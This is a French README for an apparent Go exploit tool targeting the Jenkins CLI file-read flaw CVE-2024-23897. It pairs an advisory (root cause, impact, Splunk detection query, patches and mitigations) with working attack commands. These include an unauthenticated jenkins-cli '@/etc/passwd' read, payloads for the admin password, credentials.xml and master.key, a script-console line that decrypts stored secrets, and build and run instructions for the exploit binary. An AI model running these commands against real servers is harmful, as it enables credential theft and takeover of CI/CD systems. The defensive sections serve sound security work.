
CVE-2024-23897 : Jenkins : Lecture de fichier arbitraire menant à une exécution de code à distance (RCE)
CVE-2024-23897 : Jenkins Lecture Arbitraire de Fichiers Menant à une Exécution de Code à Distance (RCE) 🎯 Produits et Versions Affectés
Produit : Jenkins (serveur d'intégration continue/livraison continue)
Versions : Jenkins 2.441 et versions antérieures, Jenkins LTS 2.426.2 et versions antérieures
Corrigé dans : Jenkins 2.442, Jenkins LTS 2.426.3
📝 Description
CVE-2024-23897 est une vulnérabilité critique dans Jenkins qui permet à des attaquants non authentifiés de lire des fichiers arbitraires sur le système de fichiers du contrôleur Jenkins. La vulnérabilité existe parce que Jenkins ne désactive pas une fonctionnalité de son analyseur de commandes CLI qui remplace un caractère '@' suivi d'un chemin de fichier par le contenu du fichier.
Cette faille peut mener à une exécution de code à distance (RCE) lorsqu'elle est combinée avec d'autres techniques, ce qui la rend particulièrement dangereuse pour les organisations utilisant Jenkins dans leurs pipelines CI/CD. 🔍 Détails de la Vulnérabilité Cause Racine
La vulnérabilité provient de la fonction expandAtFiles() dans la classe org.kohsuke.args4j.CmdLineParser. Lors de l'analyse des arguments CLI, si l'analyseur rencontre un symbole '@' suivi d'un chemin de fichier, il lit et développe le contenu de ce fichier. Vecteur d'Attaque
Les attaquants peuvent exploiter cette vulnérabilité en utilisant l'interface CLI de Jenkins sans authentification : bash
java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ help @/etc/passwd
Analyse Technique Limitations de la Lecture de Fichiers
Sans authentification : Seules les 3 premières lignes du fichier peuvent être lues (selon la commande CLI)
Avec la permission 'Overall/Read' : Le contenu complet du fichier peut être lu
Fichiers binaires : Peuvent être extraits mais peuvent être affectés par des problèmes d'encodage (Windows-1252 sur Windows donne de meilleurs résultats que UTF-8 sur Linux)
Expansion de la Surface d'Attaque
Une fois la lecture de fichier réalisée, les attaquants peuvent passer à des attaques plus graves :
Extraire les identifiants :
Lire /var/jenkins_home/credentials.xml pour les identifiants chiffrés
Lire /var/jenkins_home/secrets/master.key et hudson.util.Secret pour le déchiffrement
Déchiffrer les identifiants en utilisant la console de scripts Jenkins : println(Hudson.util.Secret.fromString("{XXX=}").getPlainText())
Forger des cookies 'Remember-me' :
Obtenir un accès administratif en forgeant des cookies d'authentification
Exécuter du code arbitraire :
Atteindre RCE via les vecteurs Resource Root URL, XSS ou CSRF
💥 Impact Impact Immédiat
Confidentialité : Divulgation complète de tous les fichiers sur le serveur Jenkins (code source, identifiants, clés SSH, jetons)
Intégrité : Les attaquants peuvent modifier les builds, pipelines et configurations
Disponibilité : Potentiel de déni de service ou de déploiement de ransomware
Exploitation dans le Monde Réel
Cette vulnérabilité a été activement exploitée dans la nature :
Ajoutée au catalogue des vulnérabilités connues exploitées (KEV) de la CISA
Utilisée par des gangs de ransomware (RansomEXX) pour compromettre des infrastructures
Exploitée par l'acteur malveillant IntelBroker pour voler des dépôts GitHub et compromettre des fournisseurs de services IT
🔧 Détection Indicateurs de Compromission
Les tentatives d'exploitation réussies peuvent être détectées via :
Modèles de requêtes HTTP : text
POST /cli?remoting=false HTTP/1.1 Content-type: application/octet-stream [binary payload containing @/path/to/file]
Exemples de Charges Utiles Typiques :
@/etc/passwd
@/var/jenkins_home/secrets/initialAdminPassword
@/etc/os-release
Requête de Détection Splunk text
index=web uri="/cli?remoting=false" http_method=POST http_status=200
🛡️ Atténuation Correctif Officiel
Mettez à jour vers les versions patchées :
Jenkins ≥ 2.442
Jenkins LTS ≥ 2.426.3
Atténuation Temporaire
Si un patch immédiat n'est pas possible :
Désactiver l'accès à l'interface CLI de Jenkins
Définir la propriété système Java : hudson.cli.CLICommand.allowAtSyntax=false
Restreindre l'accès réseau à l'interface administrateur de Jenkins
Implémenter des règles WAF pour bloquer les requêtes contenant des motifs @/
🔗 Références
Entrée NVD
Avis de Sécurité Jenkins
Catalogue KEV de la CISA
Recherche Splunk
Page CVE de Tenable
📦 Construction et Exécution
bash
go build -o jenkins-cve-2024-23897 exploit.go
./jenkins-cve-2024-23897 http://target-jenkins:8080 /etc/passwd
go run exploit.go http://target-jenkins:8080 /etc/passwd
🎯 Exemples d'Utilisation bash
./jenkins-cve-2024-23897 http://jenkins.internal:8080 /etc/passwd ./jenkins-cve-2024-23897 http://localhost:8080 /var/jenkins_home/secrets/initialAdminPassword
./jenkins-cve-2024-23897 http://win-jenkins:8080 C:/Windows/win.ini
⚙️ Fonctionnement
Initialisation de session : Génère un identifiant de session unique de 20 octets
Construction de la charge utile : Construit une charge utile binaire avec la structure help @/chemin/vers/fichier
Phase d'envoi : Envoie la charge utile au point de terminaison CLI Jenkins
Phase de récupération : Récupère le contenu du fichier à partir de la réponse
Sortie : Affiche le contenu du fichier ou un message d'erreur
📊 Fonctionnalités
Implémentation pure en Go - Aucune dépendance externe
Multi-plateforme - Fonctionne sur Windows, Linux, macOS
Délais d'attente configurables - Ajustables pour les réseaux lents
Gestion d'erreurs propre - Messages d'erreur détaillés
Binaire sûr - Gère à la fois les fichiers texte et binaires
⚠️ Notes Importantes
À des fins éducatives uniquement - Utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous avez la permission de tester
Lectures non authentifiées - Sans authentification, seules les ~3 premières lignes sont lisibles
Fichiers binaires - Peuvent être affectés par des problèmes d'encodage (utiliser une cible Windows pour une meilleure extraction binaire)